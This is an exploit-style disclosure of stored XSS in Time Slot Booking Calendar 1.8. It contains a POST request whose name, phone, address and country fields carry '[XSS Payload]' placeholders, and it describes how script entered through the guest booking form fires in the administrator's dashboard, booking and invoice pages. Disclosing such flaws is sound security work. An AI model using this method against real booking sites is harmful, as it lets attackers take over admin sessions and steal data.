# Exploit Title: Time Slot Booking Calendar 1.8 - Stored XSS# Date: 29/06/2023# Exploit Author: CraCkEr# Vendor: GZ Scripts# Vendor Homepage: https://gzscripts.com/# Software Link: https://gzscripts.com/time-slot-booking-calendar-php.html# Version: 1.8# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site## Release Notes:
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data,and launch additional attacks.## Stored XSS-----------------------------------------------
POST /TimeSlotBookingCalendarPHP/load.php?controller=GzFront&action=booking_details&cid=1 HTTP/1.1
promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=[XSS Payload]&email=cracker%40infosec.com&company=&address_1=[XSS Payload]&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload]&additional=xxx&captcha=rtznqs&terms=1&cal_id=1&calendar_id=1-----------------------------------------------
POST parameter 'first_name'is vulnerable to XSS
POST parameter 'second_name'is vulnerable to XSS
POST parameter 'phone'is vulnerable to XSS
POST parameter 'address_1'is vulnerable to XSS
POST parameter 'country'is vulnerable to XSS
## Steps to Reproduce:1. As a [Guest User] Choose any Day Colored by Green on the Calendar - Click on [+] near Start/End Time - Press [Booking]2. Inject your [XSS Payload]in"First Name"3. Inject your [XSS Payload]in"Last Name"4. Inject your [XSS Payload]in"Phone"5. Inject your [XSS Payload]in"Address Line 1"6. Inject your [XSS Payload]in"Country"7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser
8. When ADMIN visit [Dashboard]in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings]-[All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser
10. When ADMIN visit [Invoices ]-[All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)
XSS Will Fire and Executed on his Browser
[-] Done
